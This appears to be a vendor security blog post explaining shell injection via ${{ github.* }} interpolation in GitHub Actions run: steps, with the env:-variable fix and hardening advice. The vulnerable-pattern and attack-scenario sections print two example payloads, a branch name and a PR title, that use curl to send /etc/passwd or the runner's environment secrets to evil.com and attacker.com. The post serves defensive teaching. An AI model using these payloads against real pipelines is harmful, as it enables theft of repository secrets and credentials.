Back to Blog
high SEVERITY9 min read

GitHub Actions Shell Injection: How ${{}} Context Variables Can Compromise Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions deployment workflow, where direct use of `${{github.*}}` context variables in `run:` steps could allow attackers to execute arbitrary code in the CI/CD runner. This type of attack can lead to secret theft, source code exfiltration, and complete pipeline compromise. The fix involves routing untrusted context data through intermediate environment variables before using them in shell scripts.

O
By Orbis AppSec
Published April 22, 2026Reviewed June 3, 2026

Answer Summary

This is a shell injection vulnerability (CWE-78) in a GitHub Actions workflow, where `${{github.*}}` expression context variables were interpolated directly into `run:` shell script steps. Because GitHub Actions evaluates `${{...}}` expressions before the shell runs, an attacker who controls a pull request title, branch name, or commit message can break out of the intended command and execute arbitrary code on the CI/CD runner. The fix is to assign untrusted context values to intermediate environment variables (e.g., `env: PR_TITLE: ${{ github.event.pull_request.title }}`) and reference those variables in shell scripts using `$PR_TITLE` instead of `${{ github.event.pull_request.title }}` — environment variable expansion is safe because the shell treats the value as data, not executable syntax.

Vulnerability at a Glance

cweCWE-78
fixRoute all untrusted context data through intermediate env: environment variables and reference them as $VAR_NAME in shell scripts
riskArbitrary code execution on the CI/CD runner, enabling secret theft and pipeline compromise
languageYAML (GitHub Actions workflow)
root cause${{github.*}} context variables interpolated directly into run: shell steps before the shell executes
vulnerabilityShell Injection via GitHub Actions context expression interpolation

GitHub Actions Shell Injection: How ${{}} Context Variables Can Compromise Your CI/CD Pipeline

Vulnerability: GitHub Actions Run Shell Injection
Severity: 🔴 HIGH
File: .github/workflows/deployment.yml
Fixed By: Automated security remediation via OrbisAI Security


Introduction

CI/CD pipelines have become the beating heart of modern software delivery. Every commit, every pull request, every deployment flows through them — which is exactly why they've become a prime target for attackers. A single vulnerability in your GitHub Actions workflow can hand an adversary the keys to your entire kingdom: your secrets, your source code, and your production infrastructure.

This post explores a high-severity shell injection vulnerability found in a GitHub Actions deployment workflow — specifically, the dangerous pattern of using ${{github.*}} context variable interpolation directly inside run: steps. If you write GitHub Actions workflows, this is a vulnerability pattern you absolutely need to understand.


The Vulnerability Explained

What Is Shell Injection in GitHub Actions?

GitHub Actions workflows use a special expression syntax — ${{ ... }} — to interpolate dynamic values into workflow files. This syntax is powerful and convenient, letting you reference things like:

  • ${{ github.event.pull_request.title }} — the PR title
  • ${{ github.head_ref }} — the branch name
  • ${{ github.event.issue.body }} — the body of an issue

The problem? These values can contain arbitrary user-supplied input. When you interpolate them directly into a run: step shell script, GitHub Actions substitutes the value before the shell ever sees it. This means the shell doesn't just receive data — it receives potentially executable code.

This is the classic code injection pattern, just wearing a CI/CD disguise.

The Vulnerable Pattern

Here's what the dangerous pattern looks like:

# ❌ VULNERABLE: Direct interpolation of github context in run step
steps:
  - name: Deploy application
    run: |
      echo "Deploying branch: ${{ github.head_ref }}"
      ./deploy.sh --branch "${{ github.head_ref }}"

At first glance, this looks completely harmless. But consider what happens when github.head_ref contains something like:

main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #

After GitHub Actions performs its template substitution, the shell receives:

echo "Deploying branch: main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #"
./deploy.sh --branch "main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #"

The injected payload executes as a legitimate shell command — with full access to the runner environment.

How Does an Attacker Control These Values?

This is where it gets concerning. Many github context properties are directly controlled by external users:

Context Variable Controlled By
github.event.pull_request.title Anyone who opens a PR
github.event.pull_request.body Anyone who opens a PR
github.head_ref Anyone who opens a PR (branch name)
github.event.issue.title Anyone who opens an issue
github.event.issue.body Anyone who opens an issue
github.event.comment.body Anyone who comments
github.event.review.body Anyone who submits a review

In open-source repositories — or any repository where external contributors can open pull requests — any anonymous user on the internet can supply these values.

Real-World Attack Scenario

Imagine a public open-source project with a deployment workflow that prints the PR title in a run: step. An attacker forks the repository and opens a pull request with this title:

Fix bug"; env | base64 | curl -X POST https://attacker.com/collect -d @-; echo "

When the workflow triggers on pull_request, the injected commands run inside the GitHub Actions runner, which has access to:

  • All repository secrets (via environment variables)
  • GITHUB_TOKEN (potentially with write access)
  • Cloud credentials (AWS keys, GCP service accounts, etc.)
  • The entire source code and build artifacts

The attacker receives a base64-encoded dump of all environment variables — including every secret configured in the repository — sent directly to their server. This is a complete supply chain compromise achieved through nothing more than a cleverly named pull request.

Why Is This Particularly Dangerous?

  1. It's invisible to code review — the workflow YAML looks normal
  2. It affects secrets directly — runners have access to all configured secrets
  3. It can persist — attackers can use the access to backdoor the codebase
  4. It's easy to miss — the pattern is common and looks idiomatic
  5. Workflows often run with elevated permissions — especially deployment workflows

The Fix

What Changed

The fix is conceptually simple but critically important: never interpolate github context data directly into shell commands. Instead, pass the data through an intermediate environment variable defined in the env: block of the step.

# ❌ BEFORE: Vulnerable — direct interpolation in shell
steps:
  - name: Deploy application
    run: |
      echo "Deploying branch: ${{ github.head_ref }}"
      ./deploy.sh --branch "${{ github.head_ref }}"
# ✅ AFTER: Safe — using intermediate environment variable
steps:
  - name: Deploy application
    env:
      BRANCH_NAME: ${{ github.head_ref }}
    run: |
      echo "Deploying branch: $BRANCH_NAME"
      ./deploy.sh --branch "$BRANCH_NAME"

Why Does This Fix Work?

The key difference is when and how the value is processed:

Vulnerable pattern:
1. GitHub Actions template engine substitutes ${{ github.head_ref }} directly into the shell script text
2. The shell receives and executes the fully-substituted string as code
3. Any shell metacharacters in the value are interpreted as commands

Fixed pattern:
1. GitHub Actions template engine assigns ${{ github.head_ref }} to the environment variable BRANCH_NAME
2. The shell script references $BRANCH_NAME as a data value, not as inline code
3. The shell treats the environment variable's content as a string, not as executable syntax

This is the same principle behind parameterized queries in SQL injection prevention — you separate code from data. The env: block creates a safe boundary where user-controlled values are treated as data, not code.

The Importance of Double-Quoting

Notice the double quotes around "$BRANCH_NAME" in the fixed example. This is not optional:

# ✅ Correct — quoted, handles spaces and special characters safely
./deploy.sh --branch "$BRANCH_NAME"

# ⚠️ Risky — unquoted, vulnerable to word splitting
./deploy.sh --branch $BRANCH_NAME

Always double-quote environment variables in shell scripts, especially those derived from user input. Unquoted variables can still lead to unexpected behavior through word splitting and globbing, even when the injection vector is closed.

Applying the Fix Across Multiple Steps

If multiple steps in your workflow use the same context value, define the environment variable at the job level:

# ✅ Job-level env for reuse across steps
jobs:
  deploy:
    runs-on: ubuntu-latest
    env:
      BRANCH_NAME: ${{ github.head_ref }}
      PR_TITLE: ${{ github.event.pull_request.title }}
    steps:
      - name: Log deployment info
        run: echo "Deploying $PR_TITLE from branch $BRANCH_NAME"

      - name: Run deployment
        run: ./deploy.sh --branch "$BRANCH_NAME"

Prevention & Best Practices

1. Treat All github Context Data as Untrusted

Adopt a simple mental model: any github context value that could have been set by an external user is untrusted input. This includes anything derived from:
- Pull request metadata (title, body, branch names, labels)
- Issue metadata (title, body)
- Comment bodies
- Review bodies
- Commit messages (yes, these too!)

2. Use the env: Block as Your Safety Boundary

Make it a team convention: ${{ github.* }} belongs in env: blocks, never in run: scripts.

# ✅ The golden rule
env:
  SAFE_VAR: ${{ github.potentially_dangerous_value }}
run: |
  use_it "$SAFE_VAR"

3. Use toJSON() for Complex Values

When working with complex context objects, use the toJSON() function to safely serialize them:

env:
  PR_BODY: ${{ toJSON(github.event.pull_request.body) }}
run: |
  echo "$PR_BODY" | process_safely

4. Prefer actions/github-script for Complex Logic

For workflows that need to do significant processing of GitHub context data, consider using actions/github-script instead of shell scripts. It provides a JavaScript environment where you can handle user input more safely:

- uses: actions/github-script@v7
  with:
    script: |
      const branchName = context.payload.pull_request.head.ref;
      // Handle branchName as a JS string, not shell code
      console.log(`Branch: ${branchName}`);

5. Restrict Workflow Permissions

Apply the principle of least privilege to your workflows. Limit what a compromised runner can actually do:

permissions:
  contents: read        # Only what you need
  pull-requests: write  # Only what you need
  # NOT: write-all

6. Use Static Analysis Tools

Catch these vulnerabilities before they reach production:

  • Semgrep — The scanner that caught this vulnerability. Run it in your CI pipeline with the GitHub Actions ruleset.
  • actionlint — A static checker specifically for GitHub Actions workflows that catches shell injection patterns.
  • zizmor — A security-focused static analysis tool for GitHub Actions.
  • StepSecurity Harden-Runner — Runtime security for GitHub Actions runners.

Add actionlint to your workflow validation:

- name: Lint GitHub Actions workflows
  uses: raven-actions/actionlint@v2

7. Enable Branch Protection and Workflow Approvals

For public repositories, require approval before running workflows on pull requests from first-time contributors:

on:
  pull_request_target:
    # Requires explicit approval for external PRs

⚠️ Warning: pull_request_target runs in the context of the base branch and has access to secrets. Use it carefully and never check out untrusted code with it.

Security Standards & References

This vulnerability maps to several well-known security standards:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
  • OWASP A03:2021: Injection
  • GitHub Security Advisory: Understanding the risk of script injections
  • SLSA Framework: Supply chain integrity requirements

Conclusion

Shell injection in GitHub Actions is a subtle but devastating vulnerability class. The ${{ }} syntax is so natural and idiomatic in workflow files that it's easy to use it everywhere — including places where it creates serious security holes. The fix is equally simple: always route github context data through env: variables before using them in shell scripts.

Key Takeaways

  1. ${{ github.* }} in run: steps = shell injection risk — always use env: as an intermediary
  2. User-controlled context values are untrusted input — treat them like data from the internet
  3. Always double-quote your environment variables"$VAR" not $VAR
  4. Use static analysis tools — Semgrep and actionlint can catch this automatically
  5. Apply least privilege — limit what a compromised runner can access

CI/CD pipelines are high-value targets precisely because they sit at the intersection of code, secrets, and production infrastructure. A small fix like this one — a few lines of YAML — can be the difference between a routine deployment and a catastrophic breach.

Secure your pipelines. Your future self (and your users) will thank you.


This vulnerability was automatically detected and fixed by OrbisAI Security. Automated security scanning helps catch these issues before they reach production — consider integrating security scanning into your own CI/CD pipeline.


Further Reading:
- GitHub Docs: Security hardening for GitHub Actions
- Semgrep Rules: GitHub Actions Security
- Keeping your GitHub Actions and workflows secure: Preventing pwn requests
- actionlint: Static checker for GitHub Actions workflow files

Frequently Asked Questions

What is shell injection in GitHub Actions?

Shell injection in GitHub Actions occurs when `${{...}}` expression context variables — such as `github.event.pull_request.title` — are embedded directly inside `run:` steps. GitHub Actions evaluates these expressions before passing the string to the shell, so an attacker who controls the expression value (e.g., via a PR title) can inject shell metacharacters and execute arbitrary commands on the runner.

How do you prevent shell injection in GitHub Actions workflows?

Never interpolate `${{github.*}}` or other untrusted context variables directly inside `run:` shell scripts. Instead, assign them to environment variables in an `env:` block (e.g., `PR_TITLE: ${{ github.event.pull_request.title }}`) and reference them in the shell using `$PR_TITLE`. The shell treats environment variable values as data, not syntax, eliminating the injection risk.

What CWE is GitHub Actions shell injection?

GitHub Actions shell injection maps to CWE-78: Improper Neutralization of Special Elements used in an OS Command ("OS Command Injection"). The GitHub Security Lab and Semgrep also track this pattern under the rule ID `github-actions.security.run-shell-injection`.

Is escaping the ${{}} expression enough to prevent shell injection in GitHub Actions?

No. Manual escaping of GitHub Actions context expressions is error-prone and not recommended. The correct mitigation is architectural: use `env:` variables to decouple untrusted data from shell syntax. This approach is safe by default because the shell never interprets the value as a command fragment.

Can static analysis detect shell injection in GitHub Actions workflows?

Yes. Tools like Semgrep (with the `run-shell-injection` rule), CodeQL, and Orbis AppSec can automatically detect direct use of `${{github.*}}` context variables inside `run:` steps and flag them as potential injection sinks. These tools can also auto-generate the `env:`-variable fix pattern.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13258

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How missing Dependabot cooldown configuration happens in GitHub Actions and how to fix it

A missing `cooldown` block in `.github/dependabot.yml` meant that newly published packages — which could be malicious or unstable — were eligible for immediate update proposals. By adding a `cooldown` block with `default-days: 7` to both the GitHub Actions and Cargo package ecosystems, the project now enforces a 7-day waiting period before Dependabot proposes any update to a freshly released package version. This change significantly reduces the risk of dependency confusion attacks and supply ch

high

How missing Dependabot cooldown periods happen in GitHub Actions CI/CD and how to fix it

A high-severity supply chain vulnerability was discovered in `.github/dependabot.yml` where missing cooldown periods allowed Dependabot to immediately propose updates for newly published packages. This configuration flaw exposed the CI/CD pipeline to malicious or unstable package versions. The fix adds a 7-day cooldown period to both pip and GitHub Actions ecosystems, creating a safety window for the community to identify compromised packages before they enter the codebase.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity configuration gap was discovered in a Node.js library's `.github/dependabot.yml` file where no cooldown period was set for dependency updates. This meant Dependabot could immediately propose updates to newly published (and potentially malicious) package versions, exposing the project and all downstream consumers to supply chain attacks. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` package ecosystem entries.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity supply chain vulnerability was discovered in a `.github/dependabot.yml` configuration that lacked a cooldown period, meaning Dependabot could immediately propose updates to newly published (and potentially malicious) package versions. The fix adds a `cooldown` block with `default-days: 7` to enforce a 7-day waiting period before suggesting updates, giving the community time to detect and flag compromised packages.

high

How Missing Dependabot Cooldown happens in GitHub Actions and how to fix it

A high-severity supply chain vulnerability was discovered in a Dependabot configuration file that lacked cooldown periods for package updates. Without cooldown settings, Dependabot could propose updates to newly published—and potentially malicious—packages immediately after release. The fix adds a 7-day cooldown period to all three package ecosystems (npm, GitHub Actions, and Maven), giving the community time to identify compromised packages before they're automatically proposed.